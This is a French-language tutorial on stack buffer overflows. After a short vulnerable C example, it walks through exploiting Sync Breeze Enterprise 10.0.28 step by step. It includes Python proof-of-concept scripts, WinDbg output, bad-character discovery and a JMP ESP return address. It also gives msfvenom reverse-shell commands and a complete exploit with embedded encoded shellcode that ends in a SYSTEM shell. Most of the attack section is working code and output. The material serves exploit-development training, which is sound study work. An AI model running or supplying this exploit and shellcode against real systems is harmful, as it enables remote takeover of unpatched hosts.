Stack Overflow
Les dépassements de tampon basés sur la pile (stack) sont causés par un trop-plein d'écriture au sein d'une variable stockée dans la pile.
Théorie
Exemple de programme vulnérable à un stack buffer overflow :
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[64];
if (argc < 2)
{
printf("Supply at least one argument\n");
return 1;
}
strcpy(buffer, argv[1]);
return 0;
}
Ce programme déclare une variable local nommée buffer
de 64 caractères. Un espace de 64 bytes dans la pile va donc être réservé pour cette variable à l'exécution.
Cet espace sera réservé au sein de la stack frame de la fonction main
du programme.
Les variables locales ont une scope locale et ne sont donc accessibles que dans le cadre de la fonction ou du bloc dans lequel elles sont déclarées. Les variables globales sont stockées dans la section .data
du programme, se trouvant dans un autre espace mémoire accessible a tout le code.
La fonction strcpy
définie dans string.h
copie l'argument fourni en paramètre à main
dans la variable buffer
.
Dans le cas de ce programme
- Si l'argument fait 64 bytes ou moins, le programme va fonctionner
- Si l'argument fait plus que 64 des parties adjacentes au buffer dans la pile vont être reécrites entrainant un dépassement de tampon
Si le dépassement de tampon est assez large l'attaquant pourrait être capable de réécrire l'adresse de retour de la fonction vulnérable sur la pile avec de la donnée arbitraire.
Quand une fonction termine son exécution, l'adresse de retour est récupérée depuis la pile et pour restaurer le flot d'exécution à la fonction appelante
Dans notre exemple :
- Pour la fonction
main
l'adresse de retour réécrite à la suite du dépassement de tampon est mise dans le registreExtended Instruction Pointer
(EIP
) - Le CPU va donc essayer de lire l'adresse de l'instruction suivante à partir de l'adresse dans
EIP
0x41414141
(0x41
étant le code hexadécimal deA
)
- Comme cela n'est pas une adresse valide le CPU va renvoyer une erreur access violation et l'application va s'arrêter
Le registre EIP
est utilisé directement par le CPU pour exécuter du code au niveau assembleur. Obtenir un accès à EIP
permettrait d'exécuter du code arbitraire.
Pratique
L'exemple utilisé sera l'exploit portant sur l'application Sync Breeze Enterprise 10.0.28.
Identifier le dépassement
La première étape est d'identifier la présence du dépassement de tampon. L'identification passe généralement par trois axes :
- Analyse de code
- Rétro-ingénierie
- Fuzzing
Dans ce cas, c'est le champ username
de la requête qui est vulnérable.
Début de la preuve de concept en Python
:
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
size = 800
inputBuffer = b"A" * size
content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n"
buffer += b"Host: " + server.encode() + b"\r\n"
[...]
buffer += content
Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :
(1ed8.25d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0060c0eb edx=0000034f esi=00603966 edi=00e83570
eip=41414141 esp=01eb745c ebp=005ff5b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
L'envoi de 800 bytes dans le champ username
entraine bien un dépassement de tampon. Le registre EIP
est initialisé à 4141414
.
Contrôler le registre EIP
Une fois le dépassement identifié, l'objectif principal est de :
- Contrôler le registre
EIP
pour maitriser le flot d'exécution de l'application - Injecter du code arbitraire malicieux au sein de l'espace mémoire du processus cible
- Rediriger le flot d'exécution dessus pour obtenir par exemple un reverse shell
On sait juste qu'une partie de nos A
ont rempli EIP
. Mais on a besoin de savoir quelle partie exactement remplit EIP
.
Pour cela on va envoyer une chaine de caractère non répétitive qui permet d'identifier instantanément la position des 4 bytes présents dans EIP
. On utilise l'outil msf-pattern_create
:
$ msf-pattern_create -l 800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
On modifie la preuve de concept en remplaçant les A
par la chaine générée :
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
content = b"username=" + inputBuffer + b"&password=A"
[...]
WinDbg suite à l'exécution de l'exploit :
(20ec.1440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0063ed43 edx=0000034f esi=00633e86 edi=00d33570
eip=42306142 esp=01b6745c ebp=00632b68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42306142 ?? ???
Le registre EIP
contient 42306142
qui est la version hexadécimale de B0aB
que l'on retrouve bien dans la chaine générée par msf-pattern_create
.
Pour identifier l'offset exacte, on peut utiliser msf-pattern_offset
:
On modifie la preuve de concept en adaptant le nombre de A
et en réécrivant EIP
spécifiquement avec des B
:
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
filler = b"A" * 780
eip = b"B" * 4
garbage = b"C" * 16
inputBuffer = filler + eip + garbage
content = b"username=" + inputBuffer + b"&password=A"
[...]
WinDbg suite à l'exécution de l'exploit :
(a10.608): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0059ae13 edx=0000034f esi=00594a76 edi=00de3570
eip=42424242 esp=01a1745c ebp=005923d8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???
Le registre EIP
contient 42424242
qui corresponds bien à BBBB
, le registre est donc correctement sous notre contrôle.
Chercher de l'espace
EIP
est sous notre contrôle, mais il faut identifier la bonne adresse à stocker dedans pour rediriger le flot d'exécution vers l'espace mémoire ou l'ont aura stocké notre shellcode. Le shellcode doit être dans l'espace mémoire du processus.
WinDbg suite à l'exécution de l'exploit :
0:009> dds esp -10 L8
01a1744c 41414141
01a17450 41414141 # Fin des 780 `A`
01a17454 42424242 # EIP avec des 4 `B`
01a17458 43434343 # Les quatre premiers `C`
01a1745c 43434343 # Adresse pointée par ESP
01a17460 43434343
01a17464 43434343
01a17468 00de7500
Un payload de reverse shell standard requiert approximativement 350 a 400 bytes d'espace. Dans la liste ci-dessus on voit 4x4 bytes dans le buffer ce qui n'est pas assez grand pour le shellcode.
Il faut agrandir le buffer de 800
à 1500
et s'assurer que le shellcode aura assez de place sans casser la condition du dépassement de tampon ou la nature d'arrêt de l'application.
On modifie la preuve de concept en augmentant la taille du futur shellcode :
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
filler = b"A" * 780
eip = b"B" * 4
# Permet de venir temporiser avant d'arriver dans ESP
offset = b"C" * 4
# Adresse pointee par ESP et suite
shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + shellcode
content = b"username=" + inputBuffer + b"&password=A"
WinDbg suite à l'exécution de l'exploit :
0:011> dds esp L10
01bb745c 44444444
01bb7460 44444444
01bb7464 44444444
01bb7468 44444444
01bb746c 44444444
01bb7470 44444444
01bb7474 44444444
01bb7478 44444444
01bb747c 44444444
01bb7480 44444444
01bb7484 44444444
01bb7488 44444444
01bb748c 44444444
01bb7490 44444444
01bb7494 44444444
01bb7498 44444444
#
#
0:011> .formats 2c0
Evaluate expression:
Hex: 000002c0
Decimal: 704
#
# Il y a 712 `D` car `712` = 1500 - (780 (`A`) + 4 (`C`) + 4 (`C`))
# On va lire jusqu'a `ESP` +`704` et il reste bien `8` * `D`
0:011> dds esp+2c0 L4
01bb771c 44444444
01bb7720 44444444
01bb7724 00000000
01bb7728 00000000
#
#
0:011> ? 01bb7724 - 01bb745c
Evaluate expression: 712 = 000002c8
Identifier les mauvais caractères
En fonction de l'application, du type de vulnérabilité ou du protocole utilise certains caractères sont considéré comme bad. Les bad char ne doivent pas être utilisés dans le buffer, l'adresse de retour ou le shellcode.
Un caractère est considéré comme bad s'il entraine un changement dans la nature du crash ou une déformation en mémoire tel que 0x00
qui est le null byte.
Le caractère 0x00
doit être systématiquement évité.
Il faut tester et identifier l'ensemble des bad
caractères a chaque développement d'exploit en envoyant l'ensemble des caractères possible entre 0x00
et 0xFF
au sein du buffer pour observer la réaction de l'application.
On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible sauf 0x00
:
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
filler = b"A" * 780
eip = b"B" * 4
offset = b"C" * 4
badchar = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
inputBuffer = filler + eip + offset + badchar
content = b"username=" + inputBuffer + b"&password=A"
[...]
WinDbg suite à l'exécution de l'exploit :
(13dc.2314): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0069a5e2 edx=0000032e esi=00692c3e edi=00e23570
eip=42424242 esp=01a5745c ebp=0068d088 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???
#
#
0:009> db esp -10 L20
01a5744c 41 41 41 41 41 41 41 41-42 42 42 42 43 43 43 43 AAAAAAAABBBBCCCC
01a5745c 01 02 03 04 05 06 07 08-09 00 e3 00 20 76 e2 00 ............ v..
On voit qu'il y a un passage de 0x09
à 0x00
, 0x0a
n'est pas présent. 0x0a
représente un saut de ligne (line feed) qui permet de terminer un champ HTTP
(retour à la ligne).
On retire donc 0x0a
de notre liste de caractères. On réitère ce même processus jusqu'à identifier l'ensemble des mauvais caractères.
La liste finale des mauvais caractères est 0x00
- 0x0a
- 0x0d
- 0x25
- 0x26
- 0x2b
- 0x3d
.
Redirection du flot d'exécution
Il faut maintenant rediriger le flot d'exécution vers le shellcode stocké à l'adresse mémoire ou le registre ESP
pointe. Intuitivement, on voudrait mettre l'adresse pointée par ESP
dans EIP
à la place des B
mais l'adresse change à chaque exécution.
Trouver une adresse de retour
On va toujours stocker notre shellcode à partir de l'adresse stockée dans ESP
, mais on a besoin d'un moyen efficace pour exécuter ce code. Une solution est d'utiliser l'instruction JMP ESP
qui permet de sauter jusqu'à l'adresse pointée par ESP
.
Si on trouve une adresse statique contenant cette instruction on peut rediriger EIP
dessus. Ainsi l'instruction JMP ESP
sera exécutée entrainant l'exécution du shellcode.
De nombres libraries contiennent cette instruction. Certains criteres sont a respecter tel que :
- L'adresse doit être statique et donc pas de librairies compilées en
ASLR
- Adresse sans bad char pour ne pas briser l'exploit comme l'adresse va faire parti du buffer
L'identification des protections en place sur un binaire peut se faire à travers l'analyse manuelle des structures du PE
. Ou bien à travers l'utilisation d'outil tel que Process Hacker
.
Dans le cadre de l'exemple utilisé, la librairie libspp.dll
ne possède aucune protection et son Image base
ne contient pas de bad char.
On doit maintenant trouver une instruction JMP ESP
dans ce module. On utilise le module MSF
NASM
pour obtenir les opcodes équivalents à jmp esp
:
Les opcodes à chercher sont 0xFF
et 0xE4
, on peut les chercher avec la commande Search
(s
) de WinDbg.
On affiche les adresses de début et de fin du module libspp.dll
:
0:011> lm m libspp
Browse full module list
start end module name
10000000 10223000 libspp (deferred)
On cherche entre l'adresse 10000000
et l'adresse 10223000
les opcodes 0xFF
et 0xE4
:
0:011> s -b 10000000 10223000 0xFF 0xE4
10090c83 ff e4 0b 09 10 02 0c 09-10 24 0c 09 10 46 0c 09 .........$...F..
WinDbg trouve l'adresse 10090c83
au sein du module qui contient ces 2 opcodes. L'adresse ne contient aucun bad char. On affiche le contenus de l'adresse :
On modifie la preuve de concept en indiquant l'adresse identifiée au format little endian, format le plus utilisé :
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
filler = b"A" * 780
eip = b"\x83\x0c\x09\x10" # 10090c83 - JMP ESP
offset = b"C" * 4
shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + shellcode
content = b"username=" + inputBuffer + b"&password=A"
WinDbg suite à l'exécution de l'exploit :
#
# On definis un `break point` sur l'adresse contenant `JMP ESP`
0:011> bp 10090c83
#
# Relancer l'exécution
0:011> g
#
# EIP est correctement initialisé avec l'adresse contenant `JMP ESP`
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=0062102b edx=0000034f esi=00611a5e edi=00e53570
eip=10090c83 esp=0218745c ebp=0060d9c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp {0218745c}
#
# On avance d’une étape
# EIP contient maintenant `0218745c` qui est bien l'adresse présente dans `ESP`
0:011> t
eax=00000001 ebx=00000000 ecx=0062102b edx=0000034f esi=00611a5e edi=00e53570
eip=0218745c esp=0218745c ebp=0060d9c0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
0218745c 44 inc esp
#
#
0:011> dc EIP l4
0218745c 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
Génération d'un shellcode
L'outil msfvenom
permet de générer facilement des shellcode complexes. Il est important de générer un shellcode ne contenant aucun des bad char identifiés.
Pour cela on doit utiliser un encodeur pour générer un shellcode sans bad char. L'encodeur va remplacer les bad char par d'autres caractères autorisés sans impacter le fonctionnement du shellcode :
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
Le shellcode généré et encodé par msfvenom
n'est pas directement exécutable, car il est précédé d'un décodeur. La routine du décodeur entraine des modifications des bytes du décodeur lui-même ce qui entraine l'erreur du processus de décodage.
Pour résoudre ce problème il faut créer une zone tampon pour JMP ESP
pour éviter que le shellcode soit modifié avec l'instruction NOP
(0x90).
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -v shellcode
#!/usr/bin/python
import socket
import sys
try:
server = sys.argv[1]
port = 80
filler = b"A" * 780
eip = b"\x83\x0c\x09\x10" # 10090c83 - JMP ESP
offset = b"C" * 4
nops = b"\x90" * 10 # Zone tampon
shellcode = bytearray(
"\xd9\xc5\xd9\x74\x24\xf4\xb8\xe5\xb0\xc8\xeb\x5b\x31\xc9"
"\xb1\x52\x31\x43\x17\x83\xeb\xfc\x03\xa6\xa3\x2a\x1e\xd4"
"\x2c\x28\xe1\x24\xad\x4d\x6b\xc1\x9c\x4d\x0f\x82\x8f\x7d"
"\x5b\xc6\x23\xf5\x09\xf2\xb0\x7b\x86\xf5\x71\x31\xf0\x38"
"\x81\x6a\xc0\x5b\x01\x71\x15\xbb\x38\xba\x68\xba\x7d\xa7"
"\x81\xee\xd6\xa3\x34\x1e\x52\xf9\x84\x95\x28\xef\x8c\x4a"
"\xf8\x0e\xbc\xdd\x72\x49\x1e\xdc\x57\xe1\x17\xc6\xb4\xcc"
"\xee\x7d\x0e\xba\xf0\x57\x5e\x43\x5e\x96\x6e\xb6\x9e\xdf"
"\x49\x29\xd5\x29\xaa\xd4\xee\xee\xd0\x02\x7a\xf4\x73\xc0"
"\xdc\xd0\x82\x05\xba\x93\x89\xe2\xc8\xfb\x8d\xf5\x1d\x70"
"\xa9\x7e\xa0\x56\x3b\xc4\x87\x72\x67\x9e\xa6\x23\xcd\x71"
"\xd6\x33\xae\x2e\x72\x38\x43\x3a\x0f\x63\x0c\x8f\x22\x9b"
"\xcc\x87\x35\xe8\xfe\x08\xee\x66\xb3\xc1\x28\x71\xb4\xfb"
"\x8d\xed\x4b\x04\xee\x24\x88\x50\xbe\x5e\x39\xd9\x55\x9e"
"\xc6\x0c\xf9\xce\x68\xff\xba\xbe\xc8\xaf\x52\xd4\xc6\x90"
"\x43\xd7\x0c\xb9\xee\x22\xc7\x06\x46\x01\xad\xef\x95\x59"
"\xd0\x54\x10\xbf\xb8\xba\x75\x68\x55\x22\xdc\xe2\xc4\xab"
"\xca\x8f\xc7\x20\xf9\x70\x89\xc0\x74\x62\x7e\x21\xc3\xd8"
"\x29\x3e\xf9\x74\xb5\xad\x66\x84\xb0\xcd\x30\xd3\x95\x20"
"\x49\xb1\x0b\x1a\xe3\xa7\xd1\xfa\xcc\x63\x0e\x3f\xd2\x6a"
"\xc3\x7b\xf0\x7c\x1d\x83\xbc\x28\xf1\xd2\x6a\x86\xb7\x8c"
"\xdc\x70\x6e\x62\xb7\x14\xf7\x48\x08\x62\xf8\x84\xfe\x8a"
"\x49\x71\x47\xb5\x66\x15\x4f\xce\x9a\x85\xb0\x05\x1f\xa5"
"\x52\x8f\x6a\x4e\xcb\x5a\xd7\x13\xec\xb1\x14\x2a\x6f\x33"
"\xe5\xc9\x6f\x36\xe0\x96\x37\xab\x98\x87\xdd\xcb\x0f\xa7"
"\xf7")
inputBuffer = filler + eip + offset + nops + shellcode
content = b"username=" + inputBuffer + b"&password=A"
buffer = b"POST /login HTTP/1.1\r\n"
Exécution de l'exploit et récupération d'un reverse shell :
$ sudo nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.186] from (UNKNOWN) [192.168.192.10] 52720
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>